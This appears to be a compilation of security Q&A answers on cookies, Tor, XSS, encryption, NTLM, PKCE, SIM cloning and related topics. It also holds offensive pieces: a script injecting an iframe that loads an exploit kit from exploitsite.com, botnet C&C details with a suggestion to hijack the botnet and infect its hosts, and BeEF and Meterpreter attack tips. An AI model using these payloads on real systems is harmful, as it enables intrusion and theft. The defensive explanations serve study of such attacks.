A cookie has the "secure" flag if it says so. Theoretically, nothing prevents a "secure" cookie from being served by a HTTP (non-HTTPS) server; but your server software may take issue, since, from its point of view, the protocol is HTTP and a secure cookie makes little sense if it transits over HTTP. Your server does not know that it is behind a HTTPS-to-HTTP gateway. On the other hand, the client sees a HTTPS connection, and obtaining a secure cookie through such a connection will not surprise it at all.

The trouble with a non-secure cookie is that the client will happily send it to any server which just looks like the originating server. In the presence of an active attacker, you must assume that any non-secure cookie could be hijacked by the attacker. Depending on your exact situation, this may be a major, minor or inexistent threat.


Invalid beef hook id: the hooked browser cannot be found in the database?

Maybe your database (sqlite by default) is damaged... or incorrect after an update. You can try to remove the sqlite file. I'm not sure of the location in CentOS... In my Kali Linux is on /usr/share/beef-xss/db and there you can delete de beef.db file (or rename it to beef.db.old as backup). And then you can start the framework using -x parameter which seems to re-create the database file.

You can also modify the config.yaml file to set debug mode to true and http to true too in order to show more info on console. Maybe you can see the problem with this. Usually are problems related to ruby gems.


How much I can depend on TOR to protect my identity, especially from outlook.com

You say that you do not trust Microsoft and want to hide your identity from that company.

However, this is gapingly inconsistent with your action of using an operating system that consists of countless of megabytes of binary executable code produced by Microsoft.

Suppose that you use an operating system whose vendor you do not trust; you suspect that it might gather information about you and leak it.

A way to combat this is, firstly, not to enter any personal information into that computer or through that computer.

Secondly, treat it as a potentially harmful blackbox and firewall it properly: use your external router (not the internal firewalling features) to block that box from connecting to anything on the Internet.  Make only a rew judicious holes in the firewall for any needed access, and only to specific IP or domain name destinations.

Do not enable any "automatic updates" (they shouldn't work anyway since they are blocked). Use alternative means to keep that OS up to date that do not involve "phoning home", such as using another computer to download service packs and transferring them to that computer.

If you in fact completely distrust the vendor of some device and its operating system, yet for some reason still want that on your network, you should use a two firewalls: it should go through a firewall to talk to other nodes on your local network, and to go outside. This way you have some protection against that untrusted device attacking our LAN, and from that device phoning home to relay information.


What your example basically does is echoing back whatever you give it. That means that an attacker could craft a link with some content in the URL, and whoever clicks the link will be served the content the attacker chose.

So how can that be used, other than to mildly embarass you? That depends on the content type. Since nothing else is specified I asume that it is text/html. If an attacker can serve HTML, she can also serve scripts that will be run in the browser as if they were from your origin. This in turn means that the script could e.g. steal authentications cookies, keylog passwords or perform actions on behalf of the victim. What you have here is a prime example of reflected XSS, and that is very, very bad.

But could the attacker run code on the backend, i.e. the server? No, not directly. The response is sent to the client, after all. But this could be used as a spring board for privelige escalation that could easily lead to remove code execution if there is some kind of weakness in whatever webapp you are using that e.g. lets administrators modify PHP code.

So how do you sanitize? That is a question to broad to answer in full here, but let me at least say this: htmlentities() will protect you in some cases but not all. To understand when it is useful and why, read its documentaiton and the OWASP XSS prevention cheat sheet.

As pointed out in Tom's answer, doing other stuff with the unsanitized data will lead to other problems, e.g. SQL injection if you use it in SQL queries.


I'm a bit confused about your question, but it seems like a framework like BeEF might do what you are talking about.

This is an interesting project that allows you to drop a hook into a site that contains an XSS vulnerability and then gives you a dashboard that displays who has loaded the page.

From here you can target specific users with all types of stuff.  In your case, if you wanted to exploit their machine, you could display something to a user that prompted them to download some sort of file that contained whatever you wanted.

Take a look at this demo if you have 10 minutes.  Shows some pretty cool stuff.


Is it possible to execute metasploit exploits from Meterpreter?

Certainly. If you are using a Metasploit module for the exploit you simply need to add a route. Background your Meterpreter session and type route -h it will help you, but basically you just need to add route 192.168.1.0/24 1. The 1 at the end being the session ID number for which you want to route traffic (the exploit module) over and to whichever network you want. In this case I'm specifying the 192.168.1.0/24 range.


Security in automated systems using Puppet and Chef

I used to run a puppet installation, so I'll speak to what I did then.

SSH Host Keys are ephemeral.  So, when building a new system or rebuilding an existing one, we just let new keys be generated by SSHD when it first started.  There were relatively few people SSHing into these machines, and when rebuilding the machines, we published the host key fingerprints on an internal wiki.  So an attacker would have to compromise the wiki host and MITM SSH connections, and be in place to do so immediately after the machine was built.
We always generated new SSL keys when reinstalling the machine.  One of the human steps in rebuilding services that involved SSL was generating the key, the CSR, and getting it signed by the CA and then installing the cert.  We did use a script that was prepopulated by a puppet template to have the CN & other fields properly set.

I doubt CERN has a lot of hosts with SSL certificates involved.  Or maybe they do, but have an automated CA to sign certs at puppet's request.

I also don't consider storing certs & keys in a well-controlled git repository necessarily bad.  We just took the point at which we were rebuilding a system as a great opportunity to rotate our keys.


Is a large encrypted file more secure than a small one?

While this of course depends on the encryption method, the usual, short answer is: no, making the file bigger does not make exhaustive search harder.

In general, someone tries an exhaustive search on some key because he is interested in the file contents, meaning that he has context: he already knows the kind of data that he will find. Decrypting only the start of the file is enough to know if he got something that "makes sense" (e.g. a recognizable header for a video file, picture, XML document...) or random junk. This kind of test does not have to be really strict: all the attacker needs is to be able to reject, say 99% of potential keys, and then try to decrypt some more of the file in the 1% of cases where more investigations are needed.

This assumes that the encryption method works in a "streamed" fashion, where the file can be decrypted as the data flows, which is how most encryption systems work in practice, because it is a much desirable feature, especially when handling huge files.

Of course, the right way to defeat exhaustive search is to use a random enough key in the first place. A 128-bit key, generated with a cryptographically secure PRNG, will thwart any exhaustive search, regardless of the encrypted file size. When a cracking attempt is so slow that it does not work in practice, it cannot be made "slower" in any meaningful way: it does not work, and that's the end of it.

If you cannot get a strong key, e.g. because you are doing password-based encryption, and passwords are weak (almost by definition), then you indeed want to make each decryption attempt heavy and slow, so as to try to improve your security situation. But the right method is to do so when transforming the password into a key (something called password hashing), not when applying the key to encrypt the actual data.


Encrypted password inside compressed archive

File compression utilities like Winrar or ZIP or 7zip encrypt the password and store it inside the archive.

I don't know where you got this information (claims without source are always bad) but I'm sure you got it wrong. This would not make any sense and the question would also be which key would then be used to encrypt the password.

With ZIP you can look into section 7.2 of the specification and you will see that the password will not be stored in any way. Only various more or less random data are stored which are used together with a key derived from the password entered by the user. These random data are used to make sure that ZIP files with the same content and same password don't result in the same encrypted data.

In the RAR specification you will find optional check value for the password. This is not the encrypted password but a hash value (i.e. irreversible) derived with PBKDF2 (computationally intensive hash) from the password.

Which means the most you have is a hashed version of the password, and hashed with a really slow hash. While this can be used to detect a wrong password fast enough for a single attempt, it does not help much with brute forcing the password. Brute forcing would probably be more effective by trying to use the password and checking if the decrypted data make some sense. This can be often done faster because most file formats contain typical magical strings at the beginning or have some typical file structure. Thus if you got something which does not look random you have probably broken the password.


Can we store sensitive client information with the admins without them(admins) identifying it?

I will assume that clients answer a series of n boolean questions.  The server stores their answers in such a way that you that admin can not know their responses.  Then the server identifies pairs of clients with identical responses.

Then could not you the admin (or anyone really) create 2^n dummy accounts (all possible responses to the boolean questions).  The server forms pairs.  Now you know everyone's responses.

So I do not think this is possible.  (Did I miss something?)


This is a very odd situation but I would take the following steps to understand what is on the card:

Create a clean VM (Windows since this is the most popular OS and if there is malware it is probably compatible with Windows) and disconnect it from the host in every way
Get a SD Card reader and mount it to the VM
Insert the SD Card and see what's on it

If you have a PC you don't care about you an use that too.
But again, the chances of you finding malware on it are low as this is a lot of effort for an attack (unless you are targeted, which I assume you are not).


The NTLM protocol is documented by Microsoft.  In § 2.2.2.5, the flags are described that outline which version of the protocol is to be used.  There are several variants that can be selected, including the variants we normally refer to as NTLMv1 and NTLMv2.
When the server selects the version based on the client value, if it accepts any authentication that does not involve integrity checking of the initial negotiate message, then it is vulnerable to a downgrade attack to force it to use less secure protocols.  This means that NTLM must be used only over secure connections (e.g., TLS) with trusted, properly configured servers.
Note that you don't ever want to use NTLMv1.  NTLMv1 uses DES, which has a 56-bit key, and the security of that user's credentials is downgraded to 56 bits if any NTLMv1 exchange is ever exposed; the entire password hash can be recovered.  The cost to conduct this attack is USD 20, assuming you're willing to wait a little bit, so any reasonably bored teenager can afford to compromise your systems.
Of course, since all versions of NTLM involve unsalted MD4 and either single DES or MD5, you'd want to avoid them altogether in favor of something more secure, since all of those constructions have been known to be completely insecure for over a decade and a half.  Using a randomly-generated plaintext credential over TLS means that you can store the password more securely on the server side, or, if you need compatibility with Windows's built-in authentication, you can use Kerberos.  Note that Kerberos supports forwardable and proxiable tickets if you need to use the client's credentials to access something on their behalf.


Could Meltdown/Spectre be exploited from C#/.Net (or other managed languages or the Midori OS)?

Could Meltdown be exploited from C#/.Net (or other managed languages)?

It can even be done from JavaScript.


What makes Random Number Generators so fragile?

Hardware vs software RNGs
The first thing you mention is a hardware noise source. High-precision measurement of some metastable phenomenon is enough to generate unpredictable data. This can be done with a reverse-biased zener diode, with ring oscillators, with an ADC, or even with a Geiger counter. It can even be done my measuring nanosecond-level delays in the timing between keystrokes. These noise sources can fail if the hardware itself begins to fail. For example, a transistor can break down if it is not specifically designed to operate in reverse at high voltages. While these techniques have varying levels of fragility, it is not what is being discussed in the text you quoted.
The second type of RNG you mention is a software RNG called a pseudorandom number generator (PRNG*). This is an algorithm which takes a seed, which is like an encryption key, and expands it into an endless stream of data. It attempts to ensure that the data cannot be predicted, or told apart from pure randomness, without knowledge of the secret random seed that the algorithm started with. In this case, the PRNG is implemented in pure software, so breaking it only takes introducing a bug into the code, which is what the text you quoted is talking about. It is merely code that is fragile, risking complete failure if changes to the code are made that deviate from the algorithm's intended behavior.
A PRNG can be thought of as a re-purposed encryption algorithm. In fact, you can create a cryptographically secure PRNG by using a cipher like AES to encrypt a counter. As long as the encryption key (seed) is secret, the output cannot be predicted and the seed cannot be discovered. When you think about it this way, it becomes easier to understand how a small, inconsequential change in the code can completely break the security of the algorithm.
Collecting randomness
So how do modern devices actually collect randomness? Let's take a server running quietly in a datacenter somewhere. In order to support things like TLS, it needs a large amount of completely unpredictable data that cannot be distinguished from a truly random stream. Without a dedicated hardware noise source, the randomness must come from within. Computers strive to be fully deterministic, but they have plenty of input from non-deterministic devices. Enter... interrupts!
In modern hardware, an interrupt is a signal emitted by hardware to alert the CPU to a status change. It allows the CPU to avoid rapidly polling every hardware device for updates and instead trust that the device will asynchronously alert it when the time comes. When an interrupt occurs, an interrupt handler is called to process the signal. It turns out this handler is the perfect place to get randomness! When you measure the nanosecond-level timing of interrupts, you can quickly get a fair bit of randomness. This is because interrupts are triggered for all sorts of things, from packets arriving on the NIC to data being read from a hard drive. Some of these interrupt sources are highly non-deterministic, like a hard drive which relies on the physical motion of an actuator.
Once sufficient random bits have been collected by the operating system, a small seed of at least 128 bits can be fed into a cryptographically secure PRNG to generate an unlimited stream of pseudorandom data. Unless someone could predict exactly when every past interrupt occurred, to nanosecond precision, they will not be able to derive the seed and will not be able to predict future PRNG output. This makes the output completely suitable for TLS keys.
* A security-oriented PRNG is called a cryptographically-secure PRNG, or CSPRNG. Using a regular PRNG when an application calls for a CSPRNG can result in security vulnerabilities.


It is defined in 4.1 of RFC3281

 AttributeCertificate ::= SEQUENCE {
             acinfo               AttributeCertificateInfo,
             signatureAlgorithm   AlgorithmIdentifier,
             signatureValue       BIT STRING
        }


Can I safely store credit card data in an app?

It is as secure as the place where you store the CC encrypting key.
Android features a keystore, which handles key generation, storage and usage for you. Your app talks to it via the KeyChain API. It offers some advantages:

Each app can only access their own keys. The keystore enforces this for you.
Key material is protected in case of app process compromise.
It performs all the crypto for you.
If the device features some piece of secure hardware, key material can be stored there, so that it is hard to extract it from the device.

Reference to Android keystore is informative only. Using it won't necessarily make you neither secure nor PCI-DSS compliant. Others have posted references for that.


Tool to listen http traffic goes to different ports (Windows)

RawCap

While the standard approach of Wireshark won't work on Windows due to how loopback interface is(n't) implemented in Windows, you should be able to use RawCap to capture the data and then analyze it in whatever way you want.


Is intercepted ssh-socks traffic revealing HTTP object count and sizes?

You can still see the traffic pattern when looking at the encrypted SSH connection, but you don't see the target host of the requests. But if you know what the target host might be you could still do the same kind of traffic analysis - at least if you only have a few connections at the same time.

For a similar kind of flow control analysis but for SSH see Timing Analysis of Keystrokes and Timing Attacks on SSH. In this attack you could reduce the scope of possible passwords a user is entering within an established SSH session by measuring the timings between the packets containing keystrokes. While in this case on could use random packet delays to disrupt this analysis disrupting analysis of HTTP 1.x traffic is much harder because it has a typical pattern with (usually small) requests followed by (usually larger) responses, then the next request and next response etc. And both the directions and the approximate size of the requests/responses can be seen when looking at the SSH traffic.


Does replacing the SIM card mitigate any threats after a serious data breach?

A SIM card stores the IMSI and the authentication key Ki which are used to authenticate your SIM card on the GSM network (short description, long explanation). Both numbers are also stored (in cleartext) in the database of your mobile network operator, so they are almost definitely present in the leaked data.
With the SIM authentication data, an attacker can clone your SIM card and receive incoming calls and SMS instead of you, and that might present a serious threat.
Another issue, obviously, is that they can also make outgoing calls.
Even though caller ID spoofing in GSM networks was always there anyway so it seems like the latter isn't a big issue, the attacker can theoretically frame you for a tedious investigation with local law enforcement by committing some crime using your phone number. Typically, when situations like that happen, the local authorities quickly figure out that the call was actually spoofed because it was coming from some VoIP gateway. But in your case the source would be the SIM card on the network so you may have a hard time convincing them that there's a duplicate SIM somewhere.
Replacing a SIM card in your case does make sense (I'd even go as far as to say that, given your description of the breach, voluntarily invalidating and replacing all the affected SIM cards should be the immediate responsibility of the mobile network), the only thing is that it's definitely not enough to protect you against all the possible threats related to personal data disclosure.


Secure TCP traffic for inter process communication

If you want to restrict inter process communication on a machine, I'd suggest doing away with TCP and instead uses Unix domain socket. Unix domain socket can be used exactly the same way as TCP (it's a bidirectional socket), but it creates a socket file instead of listening on a TCP port. You can control permission on the socket file using standard filesystem permissions. Twisted supports Unix domain socket.

If you really have to use TCP, then you can use SSL without encryption. By default, the eNULL cipher and aNULL authentication is not permitted in OpenSSL, but you can explicitly request for it. I personally would not recommend this.

You may also have some luck defining iptable rule that restricts how processes can connect to some TCP port.

On the whole though, trying to defend against someone with unrestricted root/physical access to your machine is a futile effort, and encryption for inter process communication within the same machine is rather silly but it's fairly harmless.


Security consequence of Javascript hole in an online chat?

Create new iframe and load exploit kit inside iframe.

<script language="JavaScript" type="text/javascript">
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "http://exploitsite.com/");
   ifrm.style.width = 640+"px";
   ifrm.style.height = 480+"px";
   document.body.appendChild(ifrm);
</script>

Infect users with trojan horses , use them as bots, steal their money etc...


I used 10minutemail and my own phone number, is there a risk?

The following people now know your phone number:

Twitter
The operators or 10minutemail
Anyone breaking into one of the above services stealing data. (Note that 10minutemail isn't supposed to show your email to others, so some kind of security breach would be required.)

Is this a problem? Not really. There's not that much one can do with just a phone number. You might get some SMS or phone call spam, but I would not worry to much about it. Maybe it could be used in some kind of social enginering attack, but that is quite labour intensive and not something I would expect at random. If I were you, I would just forget about this whole thing.


Is it possible to look up all internet activity done by a MAC address, IP address, etc.?

There are a lot of variables to consider with this question, and I've ignored MAC address tracking, since it is generally fairly easy to change a MAC address anyway.

An ISP can look up what connections have been made from devices which use its network. This may be down to the page level, for HTTP connections, the site level, for HTTPS connections, or to an IP level, for things like SSH or proxied connections. It cannot generally see what happens outside of its own network, so it wouldn't see communications between an ecommerce site server and a payment provider server, even if that was triggered by an action on the network it can see - you submit login details to the shop, shop server sends stored card details to payment provider, along with total cost, provider responds to shop, shop responds to you. Only the first and last steps would be visible to the ISP.

The ISP also can't see, generally, what happens within your local network - it couldn't say which machine on your network was the original source of a request if the connection is using NAT (typical for most providers). This changes slightly with IPv6, but I'm going to ignore that for the moment!
Analytics, advertising and social network providers can see what pages a given computer has visited, based on cookies, and enhanced by IP addresses. They can only see pages which have embedded their code - in the case of Google, that's a lot of pages, since so many sites use Google Analytics - but can see down to the specific page level, even on HTTPS connections. They have no visibility of non-web activity, so can't see if a computer makes a SSH connection, unless it is to a server they control.
Theoretically, operating system vendors could see everything that a specific computer did whilst running that operating system, since all the traffic is likely to go through OS control layers. In practice, there is no evidence of this taking place, even with report-back features in some operating systems.
Similarly, theoretically, a PC manufacturer could embed a monitoring device into computers which could report back. Again, there is no evidence of this happening, and any data sent in this way would have been detected by routers.
If you are on a business network, the IT department can see pretty much everything that goes on. This may include HTTPS traffic to the page level, if they are using man-in-the-middle monitoring techniques, although these do tend to violate privacy of users, and may leave company systems open to other attacks. For business, include educational institutions, general governmental departments, and any other corporate environment.
Security agencies (e.g. NSA, GCHQ) can obtain information from ISPs, social network companies, advertising agencies, and businesses, either legally, with a warrant, or through more dubious means. They can therefore obtain pretty much any data about what an IP address has been up to. They cannot generally state that activity connected to a particular IP address was generated by a specific person (there are exceptions - if there is a video call and a target is speaking to the camera, it would be very hard to argue that it wasn't them). They also have limited ability to follow data running through secure proxies - they can see a connection was made to one, but may not always be able to see the ultimate destination of the traffic.
Hackers. I'm going to sub-divide this one:

If they can install a rootkit on your system, or your router, treat as malicious PC manufacturers. Assume they can see everything (you are probably safe if you use a live CD).
If they can install monitoring software on your system, treat as malicious OS manufacturers. Assume they can see everything from current operating system up (you are probably safe in a different OS)
If they can sniff your traffic, treat as ISP. Assume can see data to same levels as described there, but with the ability to pinpoint local machines too.
If they can hack ISP, analytics, advertising or social media providers, or business network, assume can see everything under the corresponding entry.
If they can install browser toolbars, treat as analytics provider, but with full knowledge.
If they can't install anything, can't monitor network traffic, and can't hack other system, they probably can't see anything. They can still be dangerous though.


How can I stop an account I don't control from sending spam email in my name to my contacts?

Bear in mind that if you and your friends all have each other as contacts the email could have been sent from one of their systems and simply masqueraded as you. The from address in an email is very easy to spoof, so just because it says it is from you (or a made up address that has your name so that it looks like you) it does not necessarily mean it was actually sent by that address.

You could look at the email headers (or more accurately, unless your friend sent you the actual email itself and did not just forward the email as that would not preserve the headers, they would have to look at the headers of the original email on their side) to determine where it actually came from. This might let you narrow it down some to see if it came from to make sure it was not something like a virus sending out from your system(s) as you. You should at least be able to see the hops the email took (as shown in the Received lines in the header) to get an idea of the path it traveled. I would say that is a worthwhile exercise just to make sure that the origination does not show it coming from you system (which would then have me running virus scans to see if I have an unexpected visitor).

Lastly, if all the contacts in the email are indeed ones you have... then I would still change my passwords. The two primary ways that your contacts could be exposed (again assuming they were actually exposed from one of your accounts) are either based on something running locally on your system which was then able to gather your contacts, or by access to your account. That being said, I would make sure that there are no viruses running locally before changing your passwords... if there is you are just providing the new access to the existing virus.

I do also agree with the comment posted that says the damage is already done. If your contacts were extracted off your system, then they are already known by a spammer, so letting your friends know that the sending address was a bogus one would not hurt. This does not mean that next time the sending address could not be some variation of your name trying the same thing again. What can I say, spammers suck.


Is it Safe to Copy a Private Key Using SCP?

SCP uses SSH for transport, and that's considered to be a robust protocol, about as safe as you can get. It does not matter whether the data which is encrypted is itself a copy of a private key involved in the establishment of the SSH tunnel; it would be a terrible weakness of the protocol if it did matter (and, in the case of SSH, the "keys" as seen by users are used only for signatures, at the start of the connection, but are unrelated to the symmetric keys used for actual data encryption).

However, using SCP to transfer a piece of secret data (e.g. a key) means that the secret data exists as a file on the source computer, and will be written as another file on the destination computer. Files leave traces on a physical medium (that's the point), so the secrecy of that transferred key is subordinate to your management of the two involved hard disks (on source and destination) throughout their life cycle. Don't simply discard old disks ! Have them shredded into small pieces if you cannot ensure their logical devastation when they reach their end of life (for instance, if a disk fails, then you cannot wipe out the contents by overwriting the whole disk area with zeros).

One may also state that the more a private key is copied, the less "private" it becomes.


Why is Un1c0rn exposing wget on heartbleed?

All the links that were up there weren't necessarily security issues.

That wget for example was highlighting bots crawling webservers and giving security researchers some fresh blood to start looking for a C&C ;)

More details :

The bot are crawling internet like us, here when you see a wget ( http://un1c0rn.net/host/195.154.5.171 ) after an HTTP header, it means the bot tried to execute PHP code by injecting it in the request on the target system.

This code gives you the remote location of the script suposed to infect the machine and gives you some useful information to start a new hunt ;)

Here you can see the infection script is there :

hxxp://208.85.177.238/.x/hb/php08

And here are the information related to that botnet :

$servidor='194.24.228.203' unless $servidor;
my $porta='443';
my @canais=("#allornothing");
my @adms=("Kelevra");

You could be nice and track the flithy mofo ...
You could be bad, and take that IRC room, and even without knowing the password for the botnet administration, list IPs, infect the machines connected to the IRC channel like they were infected in the first place by the botnet and thanks the botnet for all those vulnerable hosts just given to you.


The Problem with Changing All Passwords for HeartBleed

I guess the only thing users can do is:

Use a different, strong, randomized password for each account (aiming for ~128 bits of password entropy is a good strategy, as explained in this answer);
Change the password when a website implements the OpenSSL security patch.

Using a password manager makes sense. I find KeePass Password Safe pretty good.


The reason PKCE is important is that on mobile OS, the OS allows apps to register to handle redirect URIs so a malicious app can register and receive redirects with the authorization code for legitimate apps. This is known as an Authorization Code Interception Attack.

Authorization Code Interception Attack

This is described by WSO2 here:

  Since multiple applications can be registered as a handler for the specific redirect URI, the vulnerability of this flow, is that a malicious client could also register itself as a handler for the same URI scheme that a legitimate application handles. If this happens, it is a possibility that the operating system will parse the URI to the malicious client. The flow of this attack is illustrated in the following diagram.

  In some operating systems such as Android, in step 5 of the flow, the user is prompted to select the application to handle the redirect URI before it is parsed using a "Complete Action Using" activity. This may avoid a malicious application from handling it, as the user can identify and select the legitimate application. However, some operating systems (such as iOS) do not have any such scheme.

Ref: https://docs.wso2.com/display/IS520/Mitigating+Authorization+Code+Interception+Attacks

To understand this better, here is a diagram and discussion from OpenID. You can see that the mobile System Browser has responsibility to receive the redirect URI and route it to the correct app.

Ref: http://openid.net/2015/05/26/enhancing-oauth-security-for-mobile-applications-with-pkse/

However, because mobile OSes can allow many apps to register for the same redirect URI, a malicious app can register for and receive a legitimate authorization code as shown in this diagram, also by WSO2:

Attack Mitigation by PKCE

PKCE mitigates this by requiring shared knowledge between the app initiating the OAuth 2.0 request (request auth code) and the one exchanging the auth code for token. In the case of an Auth Code Interception Attack, the malicious app does not have the verifier to complete the token exchange.


Why does PGP use symmetric encryption and RSA?

RSA isn't really built to encrypt large pieces of plaintext. Each RSA "round" can encrypt 117 bytes of data, and to encrypt more, you'd have to use some chaining mode. Currently, this means extra overhead, slowness (remember, RSA is pretty slow), and security uncertainty (RSA-chaningMode hasn't been scrutinized as other types of encryption schemes). <- BAD

By using hybrid encryption (symmetric + asymmetric for the symmetric key) you get the benefit of asymmetric, namely, not having to worry about exchanging keys; and symmetric, very fast and has been well-vetted. <- GOOD

For more information please check: How can I use asymmetric encryption, such as RSA, to encrypt an arbitrary length of plaintext?


Do I need a bachelor's degree to break in information security?

No degree guarantees a job, and almost ALL employers will look for experience in the field.  @Andre Daniel mentioned free-lancing and participating in open source projects.  This is probably the best way to gain experience in the field you're looking towards, and they look great on resumes.  They are experiences that you can point to and say "I contributed to this".

While it's great that you can learn things on your own, there is still value to having a degree.  But I would not recommend getting a bachelors degree.  If you already have a degree in Computer Networking I would suggest going for a graduate degree in Computer Security.  Graduate degrees still hold some weight, and can put you above other applicants.  However, you only get what you put into it as far as degrees go.  You can learn a lot or a little, it depends on the amount of effort you put in.  Sadly some things on paper still look better, and this will help set you apart from others.

I've known people without any degrees who were passed up for jobs because they didn't have a degree.  I've known people who have degrees and no experience who were also passed up on jobs.  You should have have some blend of both.  Like Schroeder said, if you want to do malware analysis then just do it.  Put on your resume that you do freelance work.  They'll ask you in-depth questions to get a better feel for how much you know, and that's where you can impress them.  But getting through the initial resume scan I think you need a blend of both education and experience.


How precisely can your ISP tell you are using Tor?

Standard Tor traffic
Default Tor entry nodes are publicly listed. So, to block a standard Tor connection, your ISP just needs to check the IPs you're connecting to against a list of known nodes (called "entry guards").
For example, my Tor browser randomly chose 62.210.92.11 as the entry point from a list of public nodes. Now, an eavesdropper could just look up the IP on Atlas (you can filter guard nodes with flag:Guard) to conclude I'm a Tor user.
With bridges
Bridges are unlisted Tor relays and therefore can't be blocked as easily. But research suggests that bridges can potentially be identified by analyzing their incoming and outgoing traffic (as linked in @user169339's answer).
Another option for an eavesdropper is to employ DPI to inspect your initial TLS handshake when connecting to the Tor network. E.g., the authors of the paper Detecting and blocking onion router traffic using deep packet inspection observed some characteristics which can be easily deployed as firewall rules, among them:

The cipher suites offered by the Tor client are always the same.

In the ClientHello message, the indicated server_name is always a random domain name in the form of www.[a-z0-9].[com|net].

Subject and issuer of the certificate presented during the handshake also have this random domain set in the commonName field which should be easy to distinguish from legitimate certificates.

In a quick test I could successfully sniff some pseudo domains from a Tor TLS handshake:
www.65nrpfd6bt7h.com
www.dgb2ozu32a6mjxhrijwa5gtp5.com
www.arqnns3y6lowbr3ses67cb.com

(Even the random domains alone, although you might not be able to filter them reliably, could certainly attract the attention of your local sysadmin.)
Pluggable transports
Pluggable transports are the Tor project's attempt to overcome DPI-based blocking by providing an API to exchange Tor traffic over arbitrary (obscured) protocols which are harder for firewalls to detect:

Pluggable Transports help you bypass censorship against Tor.
Pluggable Transports (PT) transform the Tor traffic flow between the client and the bridge. This way, censors who monitor traffic between the client and the bridge will see innocent-looking transformed traffic instead of the actual Tor traffic. External programs can talk to Tor clients and Tor bridges using the pluggable transport API, to make it easier to build interoperable programs.


Is there a difference between "symmetric algorithms" and "symmetric ciphers" within the context of cryptography?

A cipher is in fact a type of algorithm, so that's why you see the confusing verbiage. Often a cipher is referred to as 'cipher algorithm,' and for purposes of brevity the term 'cipher' has been oft-used.  However, using simply 'algorithm,' while also succinct; is less clear and explicit.

For usage in Standard Written English, I believe 'symmetric cipher' is a more accurate term, as a 'symmetric algorithm' infers the fact it is a cipher/cryptopgrahic algorithm, but is not explicit in this reference (and, is rather, implicit) -- a 'symmetric algorithm' could theoretically also refer to algorithms not associated with cryptography.

For reference, here's the first sentence of the Wikipedia article for cipher:

  In cryptography, a cipher (or cypher) is an algorithm for performing
  encryption or decryption—a series of well-defined steps that can be
  followed as a procedure.


client SSL authentication .pem file and .crt files

PEM means Privacy Enhanced Mail, but the acronym has been long outlived by the file format. The "PEM" format is a method to encode binary data into text, so that the data may survive the transport through a medium which is text-based and not very careful with the data (typically emails).

Basically, PEM begins with some header:

-----BEGIN FOOBAR-----

followed by Base64 encoding of the binary data, and a footer line which marks the end of the element:

-----END FOOBAR-----

Therefore, PEM format is quite generic, and you have to look at the header to know what you actually have in the file.

In your case, you must make a distinction between the certificate and the private key. The certificate is the public part; it is something that SSL client and server send to each other during the initial handshake. Certificates can travel by email; since they contain only public data and are moreover signed, they don't need any extra protection.

Private keys are quite another business. In the SSL handshake, the client sends to the server a copy of the certificate (so that the server may learn what is the client's public key), and then the client demonstrates its mastery of the corresponding private key (internally, a signature is computed over a challenge from the server). The private key is what makes the client "special": the attacker does not know it. If the attacker knew the private key, then he could impersonate the client, and that's exactly what you want to avoid.

Therefore, sending a private key "as is" by email should really not happen.

However, in your situation, you want the client ("the developer in another state") to obtain both the certificate and the private key. You thus need a way to convey both the certificate and the private key to that client. The usual method uses the PKCS#12 format, which allows for password-based encryption:

Wrap both the certificate and its private key into a PKCS#12 file protected with a huge, fat, very random password.
Send the resulting file (conventionally called ".p12" or ".pfx") to the recipient.
Phone the recipient to give him the password, so that he may decrypt the package and thus obtain the certificate and private key.

If there is nobody available in your organization, who knows what a certificate or a private key is, then you have a problem. Namely, that you are using cryptography without understanding it. You had a "security expert" at some point: get him back. Security does not tolerate improvisation well.


ENV exports in docker entry_point.sh that is ran from CI

As of Docker 1.13, Docker provides a secrets management system which can be used to securely store data like credentials and API keys.  There's a blog on it here

What that can do is store the key in an encrypted form on disk and then supply it to the container at runtime.  If someone gets access to the running container, they you're still going to be in trouble as obviously the key is needed by the process, so there's no real way to avoid that (Although you could do something like split out the section of your application dealing with the API into it's own container and try to reduce the attack surface).

Docker secrets management is primarily intended (for now anyway) to deal with Docker swarm setups, so if you're looking for something more generalized in terms of container secrets management, I'd suggest something like HashiCorp Vault


See the traffic from my own Android phone

First all packages are going through the TLS encrypted VPN.
Then all apps could communicate over another encrypted connection (for example https). So these packages are encrypted multiple times.

If you want to sniff, the simplest way doing this is install the sniffer directly on your device and install your own root certificate (this is a high security risk). For example your could use this app https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture (But to sniff TLs connections the app have to install a root certificate on your device!)


Can an inaccessible uploaded PDF harm a server?

It could harm. Consider that a malicious user may build a malicious PDF in order to exploit your imagemagick implementation and gain access to your system.

Another question would be "can a file for its mere existence damage your business?". Let's take different security approaches:

Integrity: I can't see a file compromising the server integrity if nobody and no process uses it. Of course your original file set in your server will be different after leaving this file there. But it is somewhat fine...
Confidentiality: this is a point, if you tell your users their PDF is secret but it can actually be download if someone knows the path, then you are lying to them. And this will be a vulnerability in your service. Since you say it is unavailable to anyone, I can't see any vulnerability here.
Availability: normally it wouldn't but if eventually more and more PDFs are left there by errors you eventually will have no space in your disk to continue with your service so, here you have another vulnerability. Even only one could trigger this problem for some design error.
Non repudio: I can't see any problem here for this service.


Example of decentralized access control?

Use MFA and split the authentication pieces between separate parties or several pieces of information required to generate a hash used as a password.

Someone who wants access requires the two pieces much like two keys to open a single door.


Is plausible deniability actually feasible for encrypted volumes/disks?

TL;DR: No, plausible deniability is a weak argument to protect a data.  Building privacy based on plausible deniability is unwise.  (Also, read the first quote below)

TrueCrypt is not the only popular disk encryption solution that can be used to encrypt a disk cryptsetup can be used with -c and -h to produce an encrypted disk that looks like random noise (given that the specified cipher with -c is used in XTS mode).

(I have added this point to the linked answer as a comment)

I have (almost) no experience with TrueCrypt therefore I'm writing the answer from the cryptsetup point of view.  A point of view that is very well defined by Arno Wagner in his awesome cryptsetup FAQ:

  why should "I do not have a hidden partition" be any more plausible than "I forgot my crypto key" or "I wiped that partition with random data, nothing in there"? I do not see any reason.

In summary, we are talking about plausible deniability, which is different from simple deniability in the fact that an attacker already know that something may exist he just cannot prove it.

If you throw your disk into the closest river that's plain deniability, until the moment someone finds the disk.
plausible deniability enters the scene when the attacker is in possession of your disk but he cannot prove what is on it.  It is just as if your shirt had a blood stain (and therefore you looked like a murderer), all DNA tests point that it is human, but no matter how hard the police tries to match it against a DNA database they cannot find a match.  You have a human blood stain, but it can pretty much be blood from someone that is very alive and well.

Imagine that you have a LUKS partition, but you really forgot the password.  Someone may give up or may do nasty things to you to force you to give the password.  He cannot prove that you have the key, neither he cannot prove that you do not have.  It depends on his intent and willingness to do nasty things to you.

